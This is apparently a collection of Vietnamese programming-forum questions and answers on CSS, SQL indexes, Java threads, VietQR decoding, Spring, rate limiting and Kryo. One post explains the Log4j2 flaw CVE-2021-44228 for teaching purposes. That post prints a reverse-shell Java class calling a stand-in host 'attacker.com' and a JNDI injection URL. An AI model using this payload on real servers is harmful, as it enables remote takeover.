Cắt text bị dài trong thẻ span
Mình có đoạn html này nó đang không cắt bỏ được phần phần text quá dài vượt khổ, giờ phải bổ sung thuộc tính css gì mọi người nhỉ?
<p>
</p>
<p>
<div class="col-12">
</p>
<p>
<label class="mr-1">File name:</label><span id="fileName">247054726_713680412923342_7496660341076819024_n.png</span>
</p>
<p>
</div>
</p>
<p>
</p>
<img class="alignnone size-full wp-image-3113" src="https://stackask.com/wp-content/uploads/2021/11/Screenshot-2021-11-14-at-22.11.46.png" alt="" />
So sánh clustered index và non-clustered index trong SQL Server
Như tiêu đề câu hỏi ạ.
<p>
Mọi người cho em hỏi sự khác nhau giữa 2 loại index trên là gì ạ?
</p>
<p>
Khi nào thì nên dùng loại nào ạ?
</p>
<p>
Em cảm ơn.
</p>
thu hồi 1 thread trong Java
em có 1 thread xử lý như sau :
<p>
</p>
<pre>
while (true) {
System.out.println("3");
Thread.sleep(1000);
}
</pre>
<p>
</p>
<p>
Làm thế nào để thu hồi thread này vậy ạ
</p>
Dịch ngược data QRcode VN về thông tin ngân hàng
Dạo gần đây em có thấy anh Dũng chia sẻ về thư viện generate data tạo QR code, nhưng không thấy có thư viện nào dịch ngược lại từ data QR code ra thông tin của ngân hàng.<p>
Ai có thuật toán giải mã thì cho em xin với ạ, code js thì càng tốt ạ.
</p>
<p>
Em cảm ơn!
</p>
<h1><strong>Giải quyết</strong></h1>
Cảm ơn anh @tdv12, đoạn code sau hỗ trợ dịch ngược QRcode sang thông tin ngân hàng, có hỗ trợ không có thông tin số tiền và nội dung chuyển tiền:<p>
Ngôn ngữ <code class="markdown-inline">JAVA</code>
</p>
<div class="markdown-block position-relative overflow-auto source-java">
<pre>
<span class="pl-k">package</span> com.thiendz.test;
<span class="pl-k">import</span> java.util.HashMap;
<span class="pl-k">import</span> java.util.Map;
<span class="pl-k">public</span> <span class="pl-k">class</span> VietQRDecoder {
private <span class="pl-k">static</span> <span class="pl-k">final</span> String PREFIX = <span class="pl-s">"000201010212"</span>;
private <span class="pl-k">static</span> <span class="pl-k">final</span> String SUFFIX = <span class="pl-s">"6304"</span>;
private <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_11_PREFIX = <span class="pl-s">"0010A00000072701"</span>;
private <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_2_PREFIX = <span class="pl-s">"5303704"</span>;
private <span class="pl-k">static</span> <span class="pl-k">final</span> String AMOUNT_HEADER = <span class="pl-s">"54"</span>;
private <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_21_PREFIX = <span class="pl-s">"5802VN62"</span>;
private <span class="pl-k">static</span> <span class="pl-k">final</span> <span class="pl-k">int</span> CHECK_SUM_LENGTH = 4;
<span class="pl-k">public</span> <span class="pl-k">static</span> <span class="pl-k">void</span> main(String[] args) {
Map<String, String> information = <span class="pl-k">new</span> HashMap<>();
// String input = <span class="pl-s">"00020101021238540010A00000072701240006970436011010137721710208QRIBFTTA530370454061000005802VN62090805Hello63049F12"</span>;
// String input = <span class="pl-s">"00020101021238560010A0000007270126000697100501121133666688880208QRIBFTTA53037045802VN6304AAAB"</span>;
// String input = <span class="pl-s">"00020101021238580010A000000727012800069704070114190375154450150208QRIBFTTA53037045802VN62120808BTEST001630478FB"</span>;
// String input = <span class="pl-s">"00020101021238580010A000000727012800069704070114190375154450150208QRIBFTTA53037045802VN62120808BTEST00263049629"</span>;
String input = <span class="pl-s">"00020101021238580010A000000727012800069704150114190375154450150208QRIBFTTA5303704540410005802VN6304DDD5"</span>;
String parts = input.substring(
PREFIX.length(),
input.length() - SUFFIX.length() - CHECK_SUM_LENGTH
);
parts = parts.substring(2);
<span class="pl-k">int</span> part1Length = Integer.parseInt(parts.substring(0, 2));
parts = parts.substring(2);
String part1 = parts.substring(0, part1Length);
part1 = part1.substring(PART_11_PREFIX.length());
<span class="pl-k">int</span> part12Length = Integer.parseInt(part1.substring(0, 2));
part1 = part1.substring(2);
String part12 = part1.substring(0, part12Length);
part12 = part12.substring(2);
<span class="pl-k">int</span> bankIdLength = Integer.parseInt(part12.substring(0, 2));
part12 = part12.substring(2);
String bankId = part12.substring(0, bankIdLength);
information.put(<span class="pl-s">"bankId"</span>, bankId);
part12 = part12.substring(bankIdLength);
part12 = part12.substring(2);
<span class="pl-k">int</span> bankAccountLength = Integer.parseInt(part12.substring(0, 2));
part12 = part12.substring(2);
String bankAccount = part12.substring(0, bankAccountLength);
information.put(<span class="pl-s">"bankAccount"</span>, bankAccount);
parts = parts.substring(part1Length);
String part2 = parts.substring(PART_2_PREFIX.length());
information.put(<span class="pl-s">"amount"</span>, <span class="pl-s">"0"</span>);
<span class="pl-k">if</span> (part2.startsWith(AMOUNT_HEADER)) {
part2 = part2.substring(2);
<span class="pl-k">int</span> amountLength = Integer.parseInt(part2.substring(0, 2));
part2 = part2.substring(2);
String amount = part2.substring(0, amountLength);
information.put(<span class="pl-s">"amount"</span>, amount);
part2 = part2.substring(amountLength);
}
information.put(<span class="pl-s">"message"</span>, <span class="pl-s">""</span>);
<span class="pl-k">if</span> (part2.length() - PART_21_PREFIX.length() > PART_21_PREFIX.length()) {
part2 = part2.substring(PART_21_PREFIX.length());
<span class="pl-k">int</span> part21Length = Integer.parseInt(part2.substring(0, 2));
part2 = part2.substring(2);
String part21 = part2.substring(0, part21Length);
part21 = part21.substring(2);
<span class="pl-k">int</span> messageLength = Integer.parseInt(part21.substring(0, 2));
part21 = part21.substring(2);
String message = part21.substring(0, messageLength);
information.put(<span class="pl-s">"message"</span>, message);
}
System.out.println(information);
}
}
</pre>
</div><p>
Ngôn ngữ <code class="markdown-inline">Js</code>
</p>
<div class="markdown-block position-relative overflow-auto source-javascript">
<pre>
class Qr {
<span class="pl-k">static</span> PREFIX = <span class="pl-s">'000201010212'</span>;
<span class="pl-k">static</span> SUFFIX = <span class="pl-s">'6304'</span>;
<span class="pl-k">static</span> PART_11_PREFIX = <span class="pl-s">'0010A00000072701'</span>;
<span class="pl-k">static</span> PART_2_PREFIX = <span class="pl-s">'5303704'</span>;
<span class="pl-k">static</span> AMOUNT_HEADER = <span class="pl-s">'54'</span>;
<span class="pl-k">static</span> PART_21_PREFIX = <span class="pl-s">'5802VN62'</span>;
<span class="pl-k">static</span> CHECK_SUM_LENGTH = 4;
<span class="pl-k">static</span> decoder(input) {
let parts = input.substring(
Qr.PREFIX.length,
input.length - Qr.SUFFIX.length - Qr.CHECK_SUM_LENGTH
);
parts = parts.substring(2);
let part1Length = parseInt(parts.substring(0, 2));
parts = parts.substring(2);
let part1 = parts.substring(0, part1Length);
part1 = part1.substring(Qr.PART_11_PREFIX.length);
let part12Length = parseInt(part1.substring(0, 2));
part1 = part1.substring(2);
let part12 = part1.substring(0, part12Length);
part12 = part12.substring(2);
let bankIdLength = parseInt(part12.substring(0, 2));
part12 = part12.substring(2);
let bankId = part12.substring(0, bankIdLength);
part12 = part12.substring(bankIdLength);
part12 = part12.substring(2);
let bankAccountLength = parseInt(part12.substring(0, 2));
part12 = part12.substring(2);
let bankAccount = part12.substring(0, bankAccountLength);
let amount = 0;
parts = parts.substring(part1Length);
let part2 = parts.substring(Qr.PART_2_PREFIX.length);
console.log(part2)
<span class="pl-k">if</span> (part2.startsWith(Qr.AMOUNT_HEADER)) {
part2 = part2.substring(2);
let amountLength = parseInt(part2.substring(0, 2));
part2 = part2.substring(2);
amount = part2.substring(0, amountLength);
part2 = part2.substring(amountLength);
}
let message = <span class="pl-s">''</span>;
<span class="pl-k">if</span> (part2.length - Qr.PART_21_PREFIX.length > Qr.PART_21_PREFIX.length) {
part2 = part2.substring(Qr.PART_21_PREFIX.length);
let part21Length = parseInt(part2.substring(0, 2));
part2 = part2.substring(2);
let part21 = part2.substring(0, part21Length);
part21 = part21.substring(2);
let messageLength = parseInt(part21.substring(0, 2));
part21 = part21.substring(2);
message = part21.substring(0, messageLength);
}
<span class="pl-k">return</span> { bankId, bankAccount, amount, message };
}
}
console.log(Qr.decoder(<span class="pl-s">'00020101021238580010A000000727012800069704150114190375154450150208QRIBFTTA5303704540410005802VN6304DDD5'</span>))
</pre>
</div>
Cho em hỏi về api document của viettel post ạ
Cho em hỏi về api document của viettel post ạ, quy trình lấy token như thế nào ạ. Em cảm ơn
So sánh GraphQL và REST API
Cho em hỏi điểm mạnh và điểm yếu khi so sánh GraphQL và REST API, đặc biệt khi triển khai dự án thực tế ạ.
Làm sao để cấu hình tới 2 database trong 1 project spring boot?
Làm sao để cấu hình tới 2 database trong 1 project spring boot?
<p>
</p>
<p>
Em gặp lỗi này: <code>No qualifying bean of type 'org.springframework.transaction.PlatformTransactionManager' available: expected single matching bean but found 2</code> khi sử dụng <code>@Transactional</code>. Em đã có đánh dấu <code>@Transactional(transactionManager = "mmTransactionManager")</code>
</p>
<p>
</p>
<p>
Anh em nào biết thì mong giúp đỡ em ạ, em cảm ơn. Do text quá dài nên em xin gửi cấu hình ở dưới comment.
</p>
Ngôn ngữ lập trình được tạo ra như thế nào?
Thực sự mình cũng rất muốn hiểu ngôn ngữ lập trình được tạo ra ntn. Bạn có thể nói sơ qua hoặc cho mình vài link để tìm hiểu được không. Tks
Java Spring rate limiter block specific duration when ratio reached
Currently I have a requirement: Apply rate limiter for an API. If this API get called over 100 times per 5 sec then the API will be blocked for 10 mins. I don't know if there is any java lib can fullfill this requirement. If the requirement is "Allow 100 calls per 5 sec" or "Allow 100 calls per 10 min" then I can either user Bucket4j:
<p>
</p>
<p>
</p>
<pre>
Bandwidth b = Bandwidth.classic(100, Refill.intervally(100, Duration.ofSeconds(5)));
//Bandwidth b = Bandwidth.classic(100, Refill.intervally(100, Duration.ofMinutes(10)));
Bucket bk = Bucket.builder().addLimit(b).build();
//then
if(bk.tryConsume(1)) {
//stuff
} else {
throw
}
</pre>
<p>
</p>
<p>
or Resilence4j:
</p>
<p>
</p>
<pre>
RateLimiterConfig config = RateLimiterConfig.custom()
.limitRefreshPeriod(Duration.ofSeconds(5))
.limitForPeriod(100)
.timeoutDuration(Duration.ofSeconds(1))
.build();
RateLimiterRegistry rateLimiterRegistry = RateLimiterRegistry.of(config);
RateLimiter rateLimiterWithCustomConfig = rateLimiterRegistry
.rateLimiter("name2", config);
CheckedRunnable restrictedCall = RateLimiter
.decorateCheckedRunnable(rateLimiterWithCustomConfig, this::doStuff);
//then
Try.run(restrictedCall).onFailure(this::throwEx)
</pre>
<p>
</p>
<p>
But the requirement is "Allow 100 calls per 5 sec, if more, block 10 min". Is there any lib can work? Please suggest me a solution for this case. Thank you
</p>
Thiết kế db ứng dụng chat
Chào mọi người. Em vừa thiết kế db ứng dụng chat. Gồm các chức năng chính:
<p>
Đăng nhập, đăng xuất khỏi 1 hoặc nhiều thiết bị, đăng ký
</p>
<p>
Gửi otp để reset mật khẩu, thay đổi thông tin cá nhân
</p>
<p>
Thêm người vào nhóm, gửi yêu cầu kết bạn
</p>
<p>
Thay đổi tên trong đoạn chat
</p>
<p>
Nhắn tin 1-1, 1-n
</p>
<p>
Xem ai đã xem tin nhắn
</p>
<p>
....
</p>
<p>
Mong mọi người đóng góp ý kiến để em hoàn thiện bài tập lớn trên trường ạ. Thiết kế hiện tại của em là:
</p>
<p>
</p>
<img src="https://stackask.com/wp-content/uploads/2022/02/chat-db.jpeg" alt="" class="alignnone size-full wp-image-4530" />
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
<p>
</p>
<p>
Để hiểu rõ hơn chúng ta phải hiểu về log4j một chút. Log4j sử dụng <a href="https://tvd12.com/chain-of-responsibility-design-pattern/" target="_blank">chain of responsibility design pattern</a>, thế nên ở bên trong nó sẽ có các <code>Appender</code>. Khi một dòng log kiểu <code>logger.info("Hello: {}", param)</code> thì đoạn log này sẽ chạy qua tất cả các appender thể thực hiện các công việc tương ứng, ví dụ in ra màn hình, ghi vào file, và trong đó có 1 lớp tên là: RoutingAppender. Lớp này sẽ gọi đến hàm <code>StrSubstitutor.resolveVariable</code>. Hàm này sẽ đi lấy giá trị của biến, và đau lòng thay, nó gọi lại đến lớp <a href="https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea" target="_blank">Interpolator</a>.
</p>
<p>
</p>
<p>
Lớp Interpolator sẽ tìm kiếm qua nhiều giao thức, trong đó có giao thức JNDI để lấy ra giá trị của biến, và thế là bùm. Kẻ tấn công sẽ tạo ra 1 lớp thế này:
</p>
<p>
</p>
<pre>
public class Log4jShell {
static {
try {
Socket socket = new Socket("attacker.com", 1234);
Scanner scanner = new Scanner(socket.getInputStream());
while(true) {
String command = scanner.nextLine();
ProcessBuilder pb = new ProcessBuilder(command);
pb.start();
}
} catch (Exception e) {}
}
}
</pre>
<p>
</p>
<p>
Và hắn thông quan tham số name truyền lên server kiểu: <code><a href="https://web_site_cua_chung_ta/hello?name=${jndi://web_site_cua_ke_tan_cong.com/Log4jShell.class}" target="_blank">https://web_site_cua_chung_ta/hello?name=${jndi://web_site_cua_ke_tan_cong.com/Log4jShell.class}</a></code>, và cùng với câu lệnh logger ở trên. Lớp Interpolator sẽ lấy giá trị của biến bằng cách lấy lớp Log4jShell.class về, và thế là toang, kẻ tấn công sẽ có hẳn 1 cái terminal xịn sò trên server của chúng ta và muốn làm gì thì làm.
</p>
<p>
</p>
<p>
Nhược điểm của lỗ hổng lần này là nó làm cho cả thế giới tán loạn. Phải đi release lại toàn bộ các sản phẩm đang dùng <code>2.0 <= log4j-core <= 2.14.1</code>.
</p>
<p>
</p>
<p>
Còn ưu điểm là nó cũng cho thấy được Java nó phổ biến và được sử dụng rộng rãi đến mức nào. Thế nên anh em cứ tự tin khi lựa chọn Java để làm ngôn ngữ lập trình backend cho mình và cho tổ chức của mình nhé.
</p>
<p>
</p>
<p>
Tham khảo thêm nếu anh em cần nhé: <a href="https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks" target="_blank">https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks</a>
</p>
Kryo serializer
Em mới tiếp cận việc dùng Kryo cho serializer Object to byte.<p>
Theo em biết thì Kryo cho phép config <code class="markdown-inline">setRegistrationRequired()</code>
</p>
<em>Nếu set <code class="markdown-inline">true</code>, khi dùng writeClassAndObject() Kryo sẽ thêm registrationId vào đầu bytes array để làm header</em>
<em>Nếu <code class="markdown-inline">false</code>, Kryo sẽ tự thêm metadata của class đó.</em>
<p>
Lấy ví dụ em có class TypeA có 1 field <code class="markdown-inline">List<String></code>.
</p>
<p>
Vấn đề nếu set true cho <code class="markdown-inline">setRegistrationRequired()</code> thì khi writeClassAndObject Kryo sẽ dùng runtime type để chọn Serializer phù hợp cho <code class="markdown-inline">List<String></code> (có thể là ArrayList, LinkedList, ...) và giả sử việc <code class="markdown-inline">register</code> các Class phải thực hiện trước khi Kryo write.
</p>
<p>
Trong trường hợp này em sẽ phải register như thế nào nếu có 1 field là Interface (vì không thể register toàn bộ concrete Class của 1 Interface được). Có cách nào để xứ lí không nhỉ?
</p>